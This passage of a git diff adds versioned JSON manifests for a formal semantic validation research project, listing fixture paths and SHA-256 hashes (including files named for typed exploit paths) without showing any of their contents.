"653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "39.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v38.json", + "snapshot_sha256": "43b3ed0caeae5951aa48147a51f94ff17a71fcc0a470cd6e8e3397dbc6be7b84" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v39.json b/docs/research/formal-semantic-validation/bundles/retest-v39.json new file mode 100644 index 000000000..49d43da6f --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v39.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v39.json", + "analysis_sha256": "af1b38ad2145837d4d1eb16a9aec4bc626c1b21e5a863799392b559f633bca09", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "40.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v39.json", + "snapshot_sha256": "d387cfdfa4693eda6b2846d4e78f47c6135b1629d8361063e08c592c92a7294d" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v40.json b/docs/research/formal-semantic-validation/bundles/retest-v40.json new file mode 100644 index 000000000..d90b05eea --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v40.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v40.json", + "analysis_sha256": "5f7a5a4851d9bc645100fdec964637358648ba6227ce99c20c4482b3b34f5ec6", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "41.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v40.json", + "snapshot_sha256": "b7e3a4f054b46b2d138cc0a3c0c8b7f0811aed298b8cac8a043f93cf6d6bb55b" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v41.json b/docs/research/formal-semantic-validation/bundles/retest-v41.json new file mode 100644 index 000000000..4b2d48410 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v41.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v41.json", + "analysis_sha256": "850c89d1bd2e57994eff50251364ff389a4d9ba9f9d205865e698f27744c009a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "42.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v41.json", + "snapshot_sha256": "14b197bb9bc73ac671492a2b02ddb990c20200c2be3b0a278852895a3edc0435" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v42.json b/docs/research/formal-semantic-validation/bundles/retest-v42.json new file mode 100644 index 000000000..5a356f76f --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v42.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v42.json", + "analysis_sha256": "3c86ed5d69bd6a517c759b1d1d3ebcbb6c184d12ea7d47d75e46c2ea2a9e0f95", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "43.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v42.json", + "snapshot_sha256": "8e383cb9e1cfaacf32e2a42b19c65c73cc4001168bb2018a8875fa4ff9a29460" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v43.json b/docs/research/formal-semantic-validation/bundles/retest-v43.json new file mode 100644 index 000000000..4b3c6be9d --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v43.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v43.json", + "analysis_sha256": "cc7d7d2c602158cd75a54faac50a5711b47d0602e75342af8e71b429694d3123", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": 